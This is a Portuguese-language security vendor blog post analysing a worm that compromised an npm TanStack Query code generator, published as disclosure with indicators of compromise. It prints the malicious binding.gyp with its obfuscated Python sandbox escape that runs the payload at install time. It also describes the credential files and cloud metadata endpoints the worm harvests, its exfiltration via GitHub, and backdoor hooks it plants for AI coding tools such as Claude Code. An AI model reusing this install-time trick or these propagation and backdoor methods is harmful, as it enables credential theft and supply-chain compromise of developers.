Aikido

Gerador de código popular para o TanStack Query foi afetado por um worm da cadeia de abastecimento

Escrito por
Ilyas Makari

Ainda só passou um dia desde que soubemos a notícia de Membros da TeamPCP detidos na Austrália, e detetámos agora um novo malware semelhante ao TeamPCP que está a afetar 10 versões de um pacote npm popular chamado @7nohe/openapi-react-query-codegen (+150 000 downloads semanais). Todas estas versões foram publicadas no npm num intervalo de 20 minutos. O pacote em questão gera hooks de consulta TanStack com segurança de tipos diretamente a partir de um esquema OpenAPI, poupando aos programadores o trabalho de escrever manualmente código repetitivo.

O malware autodenomina-se «Trinitite: Patrocinado pela Preview 2 Effects». A trinitite é o material vítreo que fica no solo do deserto após uma detonação nuclear. As versões anteriores da carga útil faziam referência a um script cujo nome era, literalmente, is_it_this_simple.js, o que resume bem a atitude.

Ainda não é claro se estamos perante um imitador, um ex-membro que escapou às detenções ou um agente malicioso totalmente distinto. Quem quer que esteja por trás deste ataque, partilha claramente com o TeamPCP o gosto pelo espetáculo.

Tanto o pacote npm como o respetivo repositório no GitHub parecem ter sido comprometidos. O atacante obteve acesso ao explorar uma vulnerabilidade num dos fluxos de trabalho do GitHub Actions do projeto. Por conseguinte, todas as versões vêm acompanhadas de atestados de proveniência válidos. Trata-se de certificados criptográficos que comprovam que o pacote foi compilado pelo fluxo de trabalho oficial do GitHub Actions. No entanto, quando o próprio fluxo de trabalho é comprometido, esse certificado deixa de ser um sinal de confiança fiável.

A sandbox do binding.gyp escape

O gancho de execução inicial é binding.gyp, um ficheiro normalmente utilizado para configurar a compilação de complementos nativos do Node.js. Fiquei um pouco surpreendido ao ver este truque específico a ser utilizado aqui, tendo em conta que eu já tinha dado a conhecer esta classe de vulnerabilidades no início deste ano. A técnica parece estar a ganhar popularidade.

Quando npm install processa uma embalagem que contém um binding.gyp, invoca node-gyp para compilar o módulo nativo. node-gyp avalia o condições campo no ficheiro utilizando Python, o que significa que é possível inserir aí expressões Python arbitrárias, as quais serão executadas durante a instalação, mesmo sem qualquer preinstall script declarado em package.json.

O binding.gyp neste pacote tem o seguinte aspeto:

{
  "variables": {
    "var": "Frot",
  },
  "conditions":[
     ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
  ],
  "targets": [
    {
      "target_name": "<(var)",
      "type":"\x6e\x6f\x6e\x65",
      "sources": ["dog.c"],
    }
  ]
}

A expressão condicional é uma sandbox de Python escape que utiliza o catch_warnings classe, à qual se acede percorrendo a hierarquia de classes a partir de (). Depois de descodificados, os caracteres Unicode e os códigos de escape hexadecimais traduzem-se no seguinte:

[c para c em ().__class__.__base__.__subclasses__() se c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

Identifica o catch_warnings classe através da árvore de subclasses interna do Python, utiliza-a para aceder a __builtins__, importações os, e chamadas os.system() para executar o código principal com o Node. O type o campo está codificado em hexadecimal nenhum por isso, não é tentada qualquer compilação nativa propriamente dita, e o nome do destino Frot não faz sentido. Todo o ficheiro existe apenas para executar um comando do shell.

É importante referir que nem todas as versões comprometidas recorrem a este truque. As duas versões de pré-lançamento utilizam um método simples preinstall em vez disso, o script. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab executa node nu.js diretamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be descarregamentos do Bun através de wget encaminhado para bash e, em seguida, executa is_it_this_simple.js.

Dito isto, as versões comprometidas subsequentes foram ainda mais longe e adicionaram ambos os vetores em simultâneo, combinando o binding.gyp truque com um explícito "preinstall": "node 3FWCvzduYZg.js" um guião, já agora.

Ofuscação e contorno de sandboxes

3FWCvzduYZg.js é um ficheiro de uma única linha com 5,4 MB, localizado na raiz do pacote. O ficheiro utiliza quatro camadas de encriptação. A camada mais exterior é uma matriz de inteiros com 1,6 milhões de elementos, submetida a uma operação XOR com a chave 29. A desencriptação resulta num script que descarrega o ambiente de execução do Bun de forma silenciosa (como trinnyyyy-XXXXX (no diretório temporário do sistema) e utiliza-o para executar a carga útil real, que se encontra encriptada com AES-128-GCM no seu interior. A carga útil interna consiste em mais 800 KB de JavaScript ofuscado, utilizando uma cifra personalizada de tabela aleatória, para além das transformações padrão do obfuscator.io. Uma vez totalmente desencriptada e desofuscada, contém um programa de recolha de credenciais, um worm e um comando destrutivo.

Antes de fazer qualquer coisa, o código malicioso verifica várias condições e encerra-se silenciosamente se alguma delas for verificada:

  • A configuração regional do sistema é o russo (verifica Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LÍNGUA, LANG)
  • CrowdStrike, se os diretórios SentinelOne ou CarbonBlack estiverem presentes
  • O diretório de trabalho começa com /tmp/npm-safe/ ou /opt/hscan-supplychain-dynamic/
  • As variáveis de ambiente contêm prefixos conhecidos de credenciais falsas utilizados por programas de análise de segurança (AKIAFAKE, npm_F4k3NPMToken, sk-ant-api03-falso, ghp_decoyGitHubToken)
  • O GITHUB_REPOSITORY_OWNER é uma das várias contas conhecidas de investigadores na área da segurança (ações-segurança-demonstração, h0x0er, varunsh-coder, rohan-stepsecurity)
  • A ferramenta «harden-runner» da StepSecurity está ativa

O que ele rouba

A carga útil visa uma vasta gama de credenciais, abrangendo plataformas na nuvem, ferramentas de desenvolvimento e ficheiros locais.

tokens do GitHub

Procura PATs clássicos (gh[op]_...) e tokens de granularidade fina (github_pat_...) em variáveis de ambiente e ficheiros locais. Nos executores do GitHub Actions, também solicita um token OIDC através de ACTIONS_ID_TOKEN_REQUEST_TOKEN e ACTIONS_ID_TOKEN_REQUEST_URL.

Tokens do npm, PyPI e RubyGems

~/.npmrc e procura por mais .npmrc ficheiros. Extraia os tokens de portador e valide-os em relação a registry.npmjs[.]org/-/whoami. Destina-se aos tokens do PyPI (pypi-AgEIcHlwaS5vcmcCJ...) e tokens do RubyGems (rubygems_...) pelo mesmo método.

Credenciais AWS

  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, e dez variáveis de ambiente relacionadas
  • ~/.aws/credentials e ~/.aws/config
  • Serviço de Metadados de Instâncias EC2 em 169[.]254[.]169[.]254, experimentando primeiro o IMDSv2
  • Ponto de acesso container do ECS em 169[.]254[.]170[.]2
  • Chamadas sts:GetCallerIdentity para verificar as credenciais antes de proceder à exfiltração

Credenciais do Azure

  • AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, e ficheiro de tokens federados
  • Ponto de extremidade da identidade gerida do Azure IMDS
  • Aceda ao Azure Key Vault, ao Azure Resource Manager e à API do Microsoft Graph após a autenticação

Credenciais do GCP

  • GOOGLE_APPLICATION_CREDENTIALS ficheiro JSON da conta de serviço
  • Servidor de metadados do GCP em metadata[.]google[.]internal
  • Google Secret Manager, assim que for obtido um token

HashiCorp Vault

  • VAULT_TOKEN_FILE, VAULT_TOKEN_PATH, VAULT_ADDR, VAULT_API_TOKEN
  • Enumera secrets através de /api/v1/system/me, /secrets, /api/v1/namespaces

Kubernetes

  • Token da conta de serviço em /var/run/secrets/kubernetes.io/serviceaccount/token
  • KUBECONFIG e ~/.kube/config
  • /etc/rancher/k3s/k3s.yaml

Análise do sistema de ficheiros (mais de 150 padrões glob)

  • Todas as chaves privadas SSH: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/id*
  • ~/.docker/config.json, /root/.docker/config.json
  • .env, .env.local, .env.production
  • ~/.git-credentials, ~/.gitconfig, ~/.config/git/credentials
  • ~/.npmrc, ~/.pypirc, ~/.cargo/credentials.toml, ~/.terraform.d/credentials.tfrc.json
  • ~/.bash_history, ~/.zsh_history, ~/.node_repl_history
  • Carteiras de criptomoedas: ~/.ethereum/keystore/*, ~/.monero/*, Ledger Live, Exodus
  • Dados de sessões de mensagens: Signal, Telegram Desktop, Discord, Slack, Element
  • Configurações de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
  • Claude AI: ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json
  • Domínios e tokens do JFrog Artifactory

Exfiltração

Depois de recolhidas as credenciais, a carga útil necessita de um repositório do GitHub para as carregar. Tal como em ataques anteriores semelhantes ao Miasma, o programa procura primeiro no histórico público de commits do GitHub os commits cuja mensagem corresponda a "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Descodifica o token incorporado e utiliza essa conta para criar o repositório de exfiltração. Isto significa que os dados roubados a uma vítima acabam num repositório que pertence a um utilizador diferente.

O nome do repositório é gerado através da combinação de dois elementos escolhidos aleatoriamente Projeto Touhou nomes de personagens com um número aleatório, por exemplo cirno-marisa-74291 ou reimu-kogasa-12048. A descrição do repositório está definida como «Trinitite: Patrocinado pela Preview 2 Effects», e é assim que se pode identificar repositórios de exfiltração em ambiente real:

As credenciais roubadas são guardadas como ficheiros JSON encriptados com os nomes doubletrinnys-{contador}-{data e hora}.json dentro de um resultados/ diretório. Cada ficheiro contém dois campos: envelope, o pacote de credenciais encriptadas e chave, a própria chave de encriptação está encriptada com a chave pública RSA do atacante. Apenas o atacante, que possui a chave privada correspondente, pode desencriptar o conteúdo. Os dados encontram-se à vista de todos nos repositórios públicos do GitHub, mas são ilegíveis para qualquer outra pessoa. Curiosamente, a maioria das mensagens de commit diz simplesmente "miau, miau, miau".

Propagação de worm

O Trinitite utiliza tokens roubados para se propagar para outros pacotes e repositórios.

npm, PyPI e RubyGems

Com um token npm roubado, a carga útil chama registry.npmjs[.]org/-/npm/v1/tokens para encontrar o token de publicação com o nível de privilégio mais elevado e, em seguida, consultar /v1/search?text=maintainer:{user} para enumerar todos os pacotes de que o responsável é proprietário. O programa obtém o ficheiro tar atual de cada pacote e insere um novo binding.gyp que contém a mesma sandbox do Python escape, insere uma cópia de 3FWCvzduYZg.js, e publica uma nova versão. O mesmo procedimento aplica-se ao PyPI (através de upload.pypi[.]org/legacy/) e RubyGems (através de rubygems[.]org/api/v1/gems). Todos os pedidos de publicação utilizam {tls: {rejectUnauthorized: false}} para contornar a restrição de certificados.

Adulteração de repositórios do GitHub

Com um token do GitHub roubado, a carga útil enumera todos os repositórios e ramos acessíveis, ignorando os ramos cujo nome comece por comunicado/, dependabot/, renovar/, e copiloto/. Para cada ramo, efetua o commit dos seguintes ficheiros:

  • .vscode/tasks.json com uma configuração do executor de tarefas que contém uma porta traseira
  • .claude/settings.json com um Início da sessão gancho que executa setup.mjs sempre que um programador abre o projeto no Claude Code
  • .claude/setup.mjs que contém a carga útil secundária
  • .vscode/setup.mjs que contém o mesmo
  • .github/workflows/codeql.yml, um fluxo de trabalho de segurança falso do CodeQL que funciona também como uma porta traseira
  • .gemini/settings.json, .cursor/rules/debug.mdc, .codex/config.toml, .opencode/plugins/setup.js

Cada commit é atribuído a github-actions com a mensagem "tarefa: atualizar dependências" e um skip-checks:true reboque para contornar as verificações de estado obrigatórias.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de comprometimento (IOCs)

‍Versões do pacote

  • @7nohe/openapi-react-query-codegen@0.5.4
  • @7nohe/openapi-react-query-codegen@0.5.5
  • @7nohe/openapi-react-query-codegen@1.6.3
  • @7nohe/openapi-react-query-codegen@1.6.4
  • @7nohe/openapi-react-query-codegen@2.2.1
  • @7nohe/openapi-react-query-codegen@2.2.2
  • @7nohe/openapi-react-query-codegen@3.0.3
  • @7nohe/openapi-react-query-codegen@3.0.4
  • @7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be
  • @7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab

Arquivos

  • 3FWCvzduYZg.js presente na raiz do pacote
    • SHA256: 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
    • SHA256: b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
    • SHA256: 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380
    • SHA256: 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
    • SHA256: b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
    • SHA256: e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
    • SHA256: b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
    • SHA256: 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
  • Diretórios temporários com os nomes trinnyyyy- seguido de 6 caracteres alfanuméricos aleatórios (por exemplo, trinnyyyy-a3f9k2) na pasta «temp» do sistema
Compartilhar:

https://www.aikido.dev/blog/popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.